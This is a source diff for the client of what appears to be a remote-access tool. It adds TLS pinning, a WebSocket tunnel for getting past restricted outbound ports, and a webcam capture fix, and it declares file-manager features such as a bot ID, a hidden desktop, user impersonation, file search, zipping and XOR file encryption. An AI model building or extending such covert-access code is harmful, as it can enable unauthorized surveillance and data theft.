}
// 先验证再落盘:文件一旦写进去,下次启动就会被无条件信任,坏锚等于把客户端锁死
// (fail-closed 连不上,也没法再从服务端改回来)。宁可拒绝一次下发。
{
X509_STORE* probe = X509_STORE_new();
int n = probe ? LoadAnchors(pem, probe) : 0;
if (probe)
X509_STORE_free(probe);
if (n <= 0) {
err = "payload is not a valid PEM/DER certificate";
return false;
}
}
std::string dir = ConfigDir();
if (dir.empty()) {
dir = ExeDir(); // 无 HOME 的极端环境:退回程序目录
if (dir.empty()) {
err = "cannot resolve config directory";
return false;
}
}
if (!MkdirP(dir, 0700)) {
err = "cannot create directory " + dir + ": " + strerror(errno);
return false;
}
std::string path = dir + "/" + kAnchorName;
std::string tmp = path + ".tmp";
int fd = open(tmp.c_str(), O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (fd < 0) {
err = "cannot create " + tmp + ": " + strerror(errno);
return false;
}
size_t off = 0;
while (off < pem.size()) {
ssize_t w = write(fd, pem.data() + off, pem.size() - off);
if (w <= 0) {
if (w < 0 && errno == EINTR)
continue;
err = "cannot write " + tmp + ": " + strerror(errno);
close(fd);
unlink(tmp.c_str());
return false;
}
off += (size_t)w;
}
fsync(fd);
close(fd);
// 原子替换 + 收紧权限(目录可能已由 LinuxConfig 以 0755 创建)
if (rename(tmp.c_str(), path.c_str()) != 0) {
err = "cannot replace " + path + ": " + strerror(errno);
unlink(tmp.c_str());
return false;
}
chmod(path.c_str(), 0600);
Mprintf("[TLS] trust anchor saved to %s\n", path.c_str());
return true;
}
bool TlsTrustAnchorRemove(std::string& err)
{
std::vector<std::string> paths;
std::string dir = ConfigDir();
if (!dir.empty())
paths.push_back(dir + "/" + kAnchorName);
std::string exed = ExeDir();
if (!exed.empty())
paths.push_back(exed + "/" + kAnchorName);
bool removed = false;
for (size_t i = 0; i < paths.size(); ++i) {
if (unlink(paths[i].c_str()) == 0) {
removed = true;
Mprintf("[TLS] trust anchor removed: %s\n", paths[i].c_str());
} else if (errno != ENOENT) {
err = "cannot remove " + paths[i] + ": " + strerror(errno);
return false;
}
}
if (!removed) {
err = "no trust anchor configured";
return false;
}
return true;
}
// ---- TlsChannel ----
void TlsChannel::CloseHandles()
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (m_ssl) {
SSL_free(m_ssl); // 不发送 close_notify:与 Windows 的 DeleteSecurityContext 同语义
m_ssl = nullptr;
}
m_fd = -1;
m_ready = false;
}
bool TlsChannel::Handshake(int sock, const char* sni)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
// 在状态锁内取一份上下文:SSL_new 会递增 SSL_CTX 引用计数,此后即使 TlsReload()
// 把全局上下文换掉(旧 ctx 被 SSL_CTX_free),本次握手的 SSL 仍然安全。
SSL* ssl = nullptr;
{
std::lock_guard<std::mutex> lk(g_stateMtx);
EnsureInitLocked();
if (g_tlsCtx)
ssl = SSL_new(g_tlsCtx);
}
if (!ssl) {
Mprintf("[TLS] handshake called but no TLS context is available\n");
return false;
}
if (SSL_set_fd(ssl, sock) != 1) {
Mprintf("[TLS] SSL_set_fd failed\n");
SSL_free(ssl);
return false;
}
// SNI:反代(nginx)据此按域名分流到正确的 server 块。证书校验仍是自定义 store 里的
// 信任锚(SSL_VERIFY_PEER + 不校主机名),与直连主控端口时完全一致。
if (sni && *sni)
SSL_set_tlsext_host_name(ssl, sni);
SSL_set_connect_state(ssl);
// 阻塞 socket:WANT_READ / WANT_WRITE 只在记录分片等极端情形出现,重试即可。
for (;;) {
ERR_clear_error();
int r = SSL_do_handshake(ssl);
if (r == 1)
break;
int e = SSL_get_error(ssl, r);
if (e == SSL_ERROR_WANT_READ || e == SSL_ERROR_WANT_WRITE)
continue;
if (e == SSL_ERROR_SSL) {
unsigned long err = ERR_peek_last_error();
char ebuf[256] = {0};
if (err)
ERR_error_string_n(err, ebuf, sizeof(ebuf));
Mprintf("[TLS] handshake failed: %s\n", ebuf[0] ? ebuf : "SSL error");
} else if (e == SSL_ERROR_SYSCALL) {
Mprintf("[TLS] handshake failed: syscall error (%s)\n", strerror(errno));
} else {
Mprintf("[TLS] handshake failed: SSL_get_error=%d (peer closed?)\n", e);
}
SSL_free(ssl);
return false;
}
// 单向 TLS:链必须钉扎到信任锚,且服务端确实出示了证书。默认 verify 只验链不校主机名,
// 与 Windows 版(CertGetCertificateChain 只验链)行为一致。
long vr = SSL_get_verify_result(ssl);
#if OPENSSL_VERSION_NUMBER >= 0x30000000L
X509* peer = SSL_get1_peer_certificate(ssl);
#else
X509* peer = SSL_get_peer_certificate(ssl);
#endif
if (!peer || vr != X509_V_OK) {
Mprintf("[TLS] server certificate not trusted against trust anchor (%s)\n",
X509_verify_cert_error_string(vr));
if (peer)
X509_free(peer);
SSL_free(ssl);
return false;
}
X509_free(peer);
m_ssl = ssl;
m_fd = sock;
m_ready = true;
Mprintf("[TLS] handshake OK (%s, server cert trusted)\n", SSL_get_version(ssl));
return true;
}
int TlsChannel::Recv(int sock, char* out, int outLen)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready || outLen <= 0) {
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
(int)m_ready, outLen);
return SOCKET_ERROR;
}
(void)sock; // SSL 已绑定 fd
for (;;) {
ERR_clear_error();
int n = SSL_read(m_ssl, out, outLen);
if (n > 0)
return n;
int e = SSL_get_error(m_ssl, n);
if (e == SSL_ERROR_WANT_READ || e == SSL_ERROR_WANT_WRITE)
continue;
if (e == SSL_ERROR_ZERO_RETURN)
return 0; // close_notify:对端正常关闭
if (e == SSL_ERROR_SYSCALL && ERR_peek_last_error() == 0)
return 0; // 对端未发 close_notify 就断开(unexpected EOF),按关闭处理
Mprintf("[TLS] SSL_read failed: SSL_get_error=%d (%s)\n", e, strerror(errno));
return SOCKET_ERROR;
}
}
int TlsChannel::Send(int sock, const char* data, int len)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready)
return SOCKET_ERROR;
if (len <= 0)
return 0;
(void)sock; // SSL 已绑定 fd
int total = 0;
while (total < len) {
ERR_clear_error();
int n = SSL_write(m_ssl, data + total, len - total);
if (n > 0) {
total += n;
continue;
}
int e = SSL_get_error(m_ssl, n);
if (e == SSL_ERROR_WANT_READ || e == SSL_ERROR_WANT_WRITE)
continue;
Mprintf("[TLS] SSL_write failed: SSL_get_error=%d (%s), sent=%d/%d\n",
e, strerror(errno), total, len);
return total > 0 ? total : SOCKET_ERROR;
}
return total;
}
bool TlsChannel::HasPending() const
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready || !m_ssl)
return false;
// SSL_pending: 已解密未交付的明文;SSL_has_pending: 内部还缓冲着未处理的记录字节。
// 任一为真都说明 select 看不到但可以立刻读,必须优先消费。
return SSL_pending(m_ssl) > 0 || SSL_has_pending(m_ssl) == 1;
}
#endif // __linux__ && !__ANDROID__
+6 -1
View File
@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
m_pVideoCodec = NULL;
m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // 开启
m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK; // 开启
lpBuffer = NULL;
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
DWORD CVideoManager::WorkThread(LPVOID lParam)
{
CVideoManager *This = (CVideoManager *)lParam;
if (!This->m_bVideoOpened) {
This->Destroy();
return 0x20261013;
}
static ULONGLONG dwLastScreen = GetTickCount64();
if (This->Initialize()) { //转到Initialize
+1
View File
@@ -25,6 +25,7 @@ public:
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
BOOL m_bVideoOpened;
void SendBitMapInfor();
BOOL SendNextScreen();
+401
View File
@@ -0,0 +1,401 @@
// WsChannel.h — WebSocket 传输层(客户端侧,头文件实现,无需改工程文件)
//
// 用途:当出站被限制在 80/443/8080 等少数端口时,客户端经反代(如 nginx 的 443)
// 以 WebSocket 进入服务端。应用协议完全不变:本层只把字节流套进 WS 帧里,位置与
// TLS 相同(TLS 之下、应用协议之上)。
//
// 两种形态(见 common/commands.h 的 ProtoType):
// PROTO_WS 裸 WebSocket(反代把明文 upgrade 转发到主控端口)
// PROTO_WSS WebSocket over TLS(反代终止 TLS;客户端仍用既有信任锚校验证书,
// 并通过 SNI 让反代按域名分流到正确的 server 块)
//
// 线程模型:Handshake 在连接线程上、m_bConnected 置位前调用;之后 Recv 只由接收
// 线程调用、Send 只由发送线程调用。但 Recv 里要为 ping/close 回写控制帧,收、发两个
// 线程会同时写 socket,因此写方向必须用 m_sendMtx 串行化,且一帧的头与体要一次写出,
// 否则两帧会互相穿插、对端解帧错位。TLS 自身的互斥由 TlsChannel 负责。
#pragma once
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cstdint>
#include <ctime>
#include <atomic>
#include <mutex>
#include <string>
#include <vector>
#ifdef _WIN32
#include <WinSock2.h>
#else
#include <sys/socket.h>
#include <unistd.h>
// 本头在 IOCPClient.h 里先于 common/commands.h 展开(后者是 Linux 版 SOCKET 的来源),
// 这里补一份同类型定义;重复 typedef 合法。
typedef int SOCKET;
#endif
#ifndef SOCKET_ERROR
#define SOCKET_ERROR -1
#endif
#include "TlsChannel.h"
class WsChannel
{
public:
WsChannel() {}
#ifdef YAMA_TLS_CHANNEL
// 绑定底层加密通道:WSS 指向 IOCPClient 的 TlsChannel,裸 WS 传 NULL。
// 设置后本类的所有原始收发都经由它(或直接 send/recv)。
void SetTls(TlsChannel* tls) { m_tls = tls; }
#endif
// 让 Recv/Send 立刻失效。**可由任意线程调用**(Disconnect 可能来自心跳/命令线程,
// 不只是接收线程),因此这里只碰原子量;帧解析状态留给 ResetFrames()——它只在
// Handshake 里、接收线程还没起来时清。
void Reset()
{
m_ready = false;
}
bool IsReady() const { return m_ready; }
// 在已连通的 socket 上完成 HTTP Upgrade 握手。host 用于 Host 头(WSS 的 SNI 由
// TlsChannel::Handshake 负责);path 是 Upgrade 请求的路径。失败时 err 给出原因。
bool Handshake(SOCKET sock, const std::string& host, int port, const char* path, std::string* err = NULL)
{
Reset();
ResetFrames();
char hostPort[120] = { 0 };
if (port == 80 || port == 443)
snprintf(hostPort, sizeof(hostPort), "%s", host.c_str());
else
snprintf(hostPort, sizeof(hostPort), "%s:%d", host.c_str(), port);
// Sec-WebSocket-Key 用固定值:它只用于让中间设备确认这是 WS 握手(服务端会原样
// 做 SHA1/Base64 回显),不承担任何安全职责;真正的身份由隧道内登录和 TLS 承担。
std::string req;
req.reserve(256);
req += "GET ";
req += path;
req += " HTTP/1.1\r\nHost: ";
req += hostPort;
req += "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n";
req += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n";
req += "Sec-WebSocket-Version: 13\r\n\r\n";
if (!SendAll(sock, req.data(), (int)req.size())) {
if (err) *err = "send upgrade request failed";
return false;
}
// 逐字节读响应头,读到空行即停(多读的字节会被当作 WS 帧,而服务端在我们发首包
// 前不会主动发数据,所以这里读到空行为止是安全的)。
std::string head;
bool complete = false;
char c = 0;
while (head.size() < 4096) {
int n = RawRecv(sock, &c, 1);
if (n <= 0) {
if (err) *err = "connection closed during upgrade";
return false;
}
head += c;
if (head.size() >= 4 && head.compare(head.size() - 4, 4, "\r\n\r\n") == 0) {
complete = true;
break;
}
}
if (!complete) {
if (err) *err = "upgrade response head too large";
return false;
}
if (head.compare(0, 12, "HTTP/1.1 101") != 0) {
if (err) {
std::string line = head.substr(0, head.find("\r\n"));
*err = "upgrade rejected: " + line;
}
return false;
}
m_ready = true;
return true;
}
// 读取应用层字节:>0 为读到的字节数;0 表示对端正常关闭;SOCKET_ERROR 表示出错。
// 与 recv 语义一致,调用方按同样方式处理。
int Recv(SOCKET sock, char* buf, int len)
{
if (!m_ready || len <= 0)
return SOCKET_ERROR;
for (;;) {
if (m_remaining > 0) {
int want = (m_remaining < (long long)len) ? (int)m_remaining : len;
int n = RawRecv(sock, buf, want);
if (n <= 0)
return n; // 0 = 对端关闭;SOCKET_ERROR = 出错(TLS 已记录原因)
if (m_masked) {
for (int i = 0; i < n; i++) {
buf[i] ^= (char)m_mask[m_maskPos];
m_maskPos = (m_maskPos + 1) & 3;
}
}
m_remaining -= n;
return n;
}
unsigned char opcode = 0;
long long frameLen = 0;
if (!ReadHeader(sock, opcode, frameLen))
return SOCKET_ERROR;
if (opcode >= 0x8) {
// 控制帧:载荷 ≤125 字节,必须在数据帧之间处理
char ctl[125];
if (frameLen > (long long)sizeof(ctl))
return SOCKET_ERROR;
if (frameLen > 0) {
if (!ReadExact(sock, ctl, (int)frameLen))
return SOCKET_ERROR;
Unmask(ctl, (int)frameLen);
}
if (opcode == 0x8) { // close:回一个 close,然后按正常关闭处理
(void)WriteFrame(sock, 0x8, ctl, (int)frameLen);
m_ready = false;
return 0;
}
if (opcode == 0x9) { // ping → pong
if (!WriteFrame(sock, 0xA, ctl, (int)frameLen))
return SOCKET_ERROR;
}
// 0xA (pong) 与其它的直接忽略
continue;
}
if (opcode != 0x0 && opcode != 0x1 && opcode != 0x2)
return SOCKET_ERROR;
if (frameLen == 0)
continue;
m_remaining = frameLen;
m_maskPos = 0;
}
}
// 发送应用层字节:全部发出返回 len;否则 SOCKET_ERROR。每包一帧(FIN + binary),
// 与主控端 wsConn 的「一次 Write 一帧」对齐,保证包边界与发出时一致。
int Send(SOCKET sock, const char* buf, int len)
{
if (!m_ready)
return SOCKET_ERROR;
if (len <= 0)
return 0;
return WriteFrame(sock, 0x2, buf, len) ? len : SOCKET_ERROR;
}
// 是否有已收到但尚未交付的应用层字节。两处来源:帧载荷只解析了一半(m_remaining),
// 或 TLS 会话内部还压着已解密明文(WSS)。接收线程在 select 之前要优先消费,
// 否则 select 看不到这些字节会被 2 秒超时卡住。
bool HasPending() const
{
if (m_remaining > 0)
return true;
#ifdef YAMA_TLS_CHANNEL
if (m_tls)
return m_tls->HasPending();
#endif
return false;
}
private:
// ---- 原始收发:有 TLS 会话时全程走 TLS,否则裸 socket ----
int RawRecv(SOCKET sock, char* buf, int len)
{
#ifdef YAMA_TLS_CHANNEL
if (m_tls)
return m_tls->Recv(sock, buf, len);
#endif
return ::recv(sock, buf, len, 0);
}
int RawSend(SOCKET sock, const char* buf, int len)
{
#ifdef YAMA_TLS_CHANNEL
if (m_tls)
return m_tls->Send(sock, buf, len);
#endif
return ::send(sock, buf, len, 0);
}
bool SendAll(SOCKET sock, const char* buf, int len)
{
int sent = 0;
while (sent < len) {
int n = RawSend(sock, buf + sent, len - sent);
if (n <= 0)
return false;
sent += n;
}
return true;
}
bool ReadExact(SOCKET sock, void* buf, int len)
{
char* p = (char*)buf;
int got = 0;
while (got < len) {
int n = RawRecv(sock, p + got, len - got);
if (n <= 0)
return false;
got += n;
}
return true;
}
// 读帧头(含扩展长度与掩码键)。服务端发来的帧不应带掩码,带了也照样解。
static const long long kMaxFramePayload = 256LL * 1024 * 1024;
bool ReadHeader(SOCKET sock, unsigned char& opcode, long long& frameLen)
{
unsigned char h[2] = { 0, 0 };
if (!ReadExact(sock, h, 2))
return false;
if (h[0] & 0x70)
return false; // 未协商扩展却置了 RSV 位
opcode = h[0] & 0x0F;
m_masked = (h[1] & 0x80) != 0;
frameLen = h[1] & 0x7F;
if (frameLen == 126) {
unsigned char ext[2];
if (!ReadExact(sock, ext, 2))
return false;
frameLen = ((long long)ext[0] << 8) | ext[1];
} else if (frameLen == 127) {
unsigned char ext[8];
if (!ReadExact(sock, ext, 8))
return false;
frameLen = 0;
for (int i = 0; i < 8; i++)
frameLen = (frameLen << 8) | ext[i];
if (frameLen < 0)
return false;
}
// 单帧载荷上限,与主控端 ServerWsSession 的 kMaxFramePayload 取同一个值(256 MB)。
// 没有上限时,一个错误/被篡改的长度字段就能把 m_remaining 定在天文数字上,此后
// 所有字节都被当成该帧的内容吞掉,连接表面上还活着却永远收不到新包——比直接断线
// 难查得多。正常业务的最大单包远小于此值,故不会挡住既有功能。
if (frameLen > kMaxFramePayload)
return false;
if (m_masked && !ReadExact(sock, m_mask, 4))
return false;
m_maskPos = 0;
return true;
}
void Unmask(char* buf, int len)
{
if (!m_masked)
return;
for (int i = 0; i < len; i++) {
buf[i] ^= (char)m_mask[m_maskPos];
m_maskPos = (m_maskPos + 1) & 3;
}
}
// 写一帧。客户端发往服务端的帧必须带掩码(RFC 6455 §5.3)。整帧(帧头 + 掩码后的
// 载荷)在 m_sendMtx 内一次写出:接收线程可能在同一时刻回 pong/close,若两帧各自
// 分「头」「体」两次发送就会交错,对端从此解帧错位。
bool WriteFrame(SOCKET sock, unsigned char opcode, const char* payload, int len)
{
unsigned char hdr[14];
int hn = 2;
hdr[0] = (unsigned char)(0x80 | opcode);
if (len < 126) {
hdr[1] = (unsigned char)(0x80 | len);
} else if (len <= 0xFFFF) {
hdr[1] = 0x80 | 126;
hdr[2] = (unsigned char)((len >> 8) & 0xFF);
hdr[3] = (unsigned char)(len & 0xFF);
hn = 4;
} else {
hdr[1] = 0x80 | 127;
unsigned long long v = (unsigned long long)len;
for (int i = 0; i < 8; i++)
hdr[2 + i] = (unsigned char)((v >> (56 - 8 * i)) & 0xFF);
hn = 10;
}
std::lock_guard<std::mutex> lock(m_sendMtx);
// 掩码在锁内、用本实例私有的 PRNG 生成:发送线程与接收线程(pong / close)都会
// 写帧,锁外取掩码会让两个线程并发推进共享状态;而全局 rand() 更不能用了——
// HttpMask 的构造函数里有 srand(time(nullptr)),会在同进程内重置全局序列。
// xorshift64 对本场景足够(RFC 6455 §5.3 只要求掩码来自概率性熵源,不承担安全职责)。
unsigned long long r = NextMask64();
unsigned char mask[4];
for (int i = 0; i < 4; i++)
mask[i] = (unsigned char)((r >> (8 * i)) & 0xFF);
memcpy(hdr + hn, mask, 4);
hn += 4;
// 复用同一个缓冲区:发送热路径上每帧不再分配一个新 vector。
m_frame.resize((size_t)hn + (size_t)len);
char* frame = m_frame.data();
memcpy(frame, hdr, hn);
char* dst = frame + hn;
for (int i = 0; i < len; i++)
dst[i] = (char)(payload[i] ^ (char)mask[i & 3]);
return SendAll(sock, frame, hn + len);
}
#ifdef YAMA_TLS_CHANNEL
TlsChannel* m_tls = NULL; // WSS 时指向 IOCPClient 的 TLS 会话
#endif
// 会话是否就绪。收、发分处两个线程,且 Disconnect 可能从接收线程侧走 Reset(),
// 故用原子量:x86 上裸 bool 实践无害,但换架构就不能再依赖这个巧合。
std::atomic<bool> m_ready{false};
// 写帧掩码用的私有 PRNG(只在 m_sendMtx 内推进)。种子取地址 + 时间,够用即可:
// 掩码只用于让帧在链路上不再是固定形态,安全性由 TLS 与隧道内登录承担。
unsigned long long NextMask64()
{
unsigned long long x = m_maskState;
if (x == 0) {
x = (unsigned long long)(uintptr_t)this;
x = x * 0x9E3779B97F4A7C15ULL ^ (unsigned long long)time(nullptr);
if (x == 0)
x = 0x2545F4914F6CDD1DULL;
}
// xorshift64*
x ^= x >> 12;
x ^= x << 25;
x ^= x >> 27;
m_maskState = x;
return x * 0x2545F4914F6CDD1DULL;
}
unsigned long long m_maskState = 0;
// 写方向串行化(发送线程与接收线程的 pong/close 都会写帧),以及复用的整帧缓冲。
std::mutex m_sendMtx;
std::vector<char> m_frame;
// 当前数据帧的剩余载荷长度与掩码状态(只由接收线程读写,无需加锁)。
// 只能在接收线程未运行时清(见 public Reset()):Handshake 在连接线程上、m_bConnected
// 置位之前调用,那时接收线程还没开始读 socket。
void ResetFrames()
{
m_remaining = 0;
m_masked = false;
m_maskPos = 0;
}
long long m_remaining = 0;
bool m_masked = false;
unsigned char m_mask[4] = { 0, 0, 0, 0 };
int m_maskPos = 0;
};
+13 -4
View File
@@ -2,21 +2,30 @@
#include <string.h>
#include <stdio.h>
// libyuv 与 x264 是两个独立依赖,必须分开处理:硬编路径(CFFmpegAV1Encoder /
// CFFmpegH264Encoder)也拿 libyuv 做色彩空间转换,但这两个文件自己没有
// #pragma comment(lib),一直靠这里引入。所以 libyuv 必须留在 x264 开关之外——
// 否则 DISABLE_X264_FOR_TEST=1 会把 libyuv 一起丢掉,链接时立刻报
// LNK2001: RGB24ToI420 / ARGBToNV12 / I420ToNV12。
#ifdef _WIN64
#pragma comment(lib,"libyuv/libyuv_x64.lib")
#else
#pragma comment(lib,"libyuv/libyuv.lib")
#endif
#if DISABLE_X264_FOR_TEST
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; m_forceIDR = false; }
// 合规构建的桩实现:头文件已不含 x264 类型,这里也不能碰 m_Param / x264_param_t。
CX264Encoder::CX264Encoder() { m_forceIDR = false; }
CX264Encoder::~CX264Encoder() {}
bool CX264Encoder::open(int, int, int, int) { return false; }
bool CX264Encoder::open(x264_param_t*) { return false; }
bool CX264Encoder::open(const EncoderParams&) { return false; }
void CX264Encoder::close() {}
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
#else
#ifdef _WIN64
#pragma comment(lib,"libyuv/libyuv_x64.lib")
#pragma comment(lib,"x264/libx264_x64.lib")
#else
#pragma comment(lib,"libyuv/libyuv.lib")
#pragma comment(lib,"x264/libx264.lib")
#endif
+44 -2
View File
@@ -1,14 +1,54 @@
#pragma once
#include "VideoEncoderBase.h"
// 必须在下面的条件编译之前:DISABLE_X264_FOR_TEST 定义在这里。
// 原来它排在 x264 头文件之后,导致开关无论怎么设,x264.h 都已经被拉进来了。
#include "common/config.h"
#if DISABLE_X264_FOR_TEST
// 合规构建(DISABLE_X264_FOR_TEST=1):不包含 x264 / libyuv 头文件,不声明任何
// x264 类型,整棵源码树不含 GPL 头文件,也不链接 libx264。
//
// 类仍保留基类接口(EncoderFactory::CreateEncoder 通过 VideoEncoderBase 指针创建
// 并调用),但 open() 恒返回 false,由 CreateEncoder 自然回退到硬编路径;
// 若硬编也不可用则返回 nullptr,调用方按“无编码器”处理。
class CX264Encoder : public VideoEncoderBase
{
private:
bool m_forceIDR; // 保留成员以对齐两套实现的行为,桩里不使用
public:
// 旧签名保留:与非合规构建保持同一份对外接口
bool open(int width, int height, int fps, int crf);
// VideoEncoderBase
bool open(const EncoderParams& params) override;
void close() override;
int encode(
uint8_t * rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t ** lppData,
uint32_t * lpSize,
int direction = 1
) override;
void forceIDR() override { m_forceIDR = true; }
VideoCodec codec() const override { return VideoCodec::H264; }
const char* backendName() const override { return "x264"; }
CX264Encoder();
~CX264Encoder() override;
};
#else
extern "C" {
#include <libyuv\libyuv.h>
#include <x264\x264.h>
}
#include "common/config.h"
class CX264Encoder : public VideoEncoderBase
{
private:
@@ -42,3 +82,5 @@ public:
CX264Encoder();
~CX264Encoder() override;
};
#endif // DISABLE_X264_FOR_TEST
File diff suppressed because it is too large. Load diff
+152
View File
@@ -0,0 +1,152 @@
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
#include <sstream>
#include "zip.h"
#pragma once
#include <winioctl.h>
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
#include "MasterEncoder.h"
namespace SimplePluginsFile {
typedef struct {
UINT nFileSize; // 文件大小
UINT nSendSize; // 已发送大小
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
BOOL error;
} FILESIZE;
typedef struct {
TCHAR SearchFileName[MAX_PATH];
TCHAR SearchPath[MAX_PATH];
BOOL bEnabledSubfolder;
} FILESEARCH;
typedef struct {
BYTE Token;
int w,h,size;
} FILEPICINFO;
struct SEARCH {
TCHAR TC_disk[8];
TCHAR TC_search[MAX_PATH];
};
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[MAX_PATH];
} FILE_NAME_INFORMATION;
typedef LONG(__stdcall* ZwQueryInformationFile) (
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN ULONG FileInformationClass
);
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
class CFileManager : public CManager
{
public:
MasterEncoder m_encoder;
DWORD dwRet;
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(ISocketBase* pClient, int n, void* user);
virtual ~CFileManager();
private:
LPBYTE lpSendPacket;
std::list <std::string> m_UploadList;
BOOL m_bIsWow64;
UINT m_nTransferMode;
HANDLE m_hFileSend;
HANDLE m_hFileRecv;
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
bool benofrce;
TCHAR* copyfile;
HANDLE ImpersonateLoggedOnUserWrapper();
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer(BOOL bIsUpload);
UINT SendFilesList(TCHAR* lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
void SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
void ExeCompress(BYTE* lpBuffer);
void SendSearchData(LPBYTE lpBuffer);
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
protected:
HANDLE m_hWorkThread;
BOOL bIsStopSearch;
FILESEARCH filesearch;
void StopSearchTheard();
void SendSearchFilesList(LPCTSTR str);
static void WINAPI FindFileThread(LPVOID lparam);
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
TCHAR g_desktopName[MAX_PATH];
ULONG PseudoRand(ULONG* seed);
void GetBotId(TCHAR* botId);
HDESK g_hDesk;;
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
void SendNetHood(); //发送共享文件目录
void encfile(char* in_filename);
void decryptfile(char* in_filename);
bool FnDelPathFile(TCHAR* tc_path);
TCHAR* zippath_t;
HANDLE m_hWorkZIPThread;
BOOL bIsStopZIP;
void StopZIPTheard();
void StartZIP();
static void WINAPI FindZIPThread(LPVOID lparam);
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
//info
void SendFileInfo(TCHAR* filepath,TCHAR * type);
bool ResizePicture(TCHAR* strSource);
TCHAR* volName; // 驱动盘名称
TCHAR* tc_search; // 搜索关键词
HANDLE hVol; // 用于储存驱动盘句柄
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
long counter;
LPBYTE lpBuffer;
char* c_pathname;
};
}
+162
View File
@@ -0,0 +1,162 @@
#include "StdAfx.h"
#include "MasterEncoder.h"
#include <fstream>
#include <string>
#include <iostream>
namespace SimplePluginsFile {
MasterEncoder::MasterEncoder()
{
_codeKey = 100;
_sign = nullptr;
_signLen = 0;
}
MasterEncoder::~MasterEncoder()
{
SAFE_DELETE_AR(_sign);
}
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
{
if (sign && signLen) {
_signLen = signLen;
SAFE_DELETE_AR(_sign);
_sign = new char[signLen];
if (_sign) {
memcpy(_sign, sign, signLen);
} else {
Mprintf("setSignAndKey Failed!\n");
}
}
_codeKey = key;
}
void MasterEncoder::encode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
void MasterEncoder::decode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
{
std::ifstream ifs;
ifs.open(filepath, std::ios::in | std::ios::binary);
if (!ifs.is_open()) {
Mprintf("文件打开失败: %s\n", filepath.c_str());
return nullptr;
}
ifs.seekg(0, std::ios_base::end);
size =(long) ifs.tellg();
ifs.seekg(0, std::ios_base::beg);
unsigned char* data = new unsigned char[size];
long count = 0;
while (count < size) {
ifs.read((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("read PDF size = %d\n", size);
ifs.close();
return data;
}
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
{
std::ofstream ofs;
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
if (!ofs.is_open()) {
Mprintf("文件打开失败: %s\n", filePath.c_str());
return;
}
long count = 0;
while (count < size) {
ofs.write((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("save PDF size = %d\n", size);
ofs.close();
}
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
//判断是否已经加密过
if (memcmp(data, _sign, _signLen) == 0) {
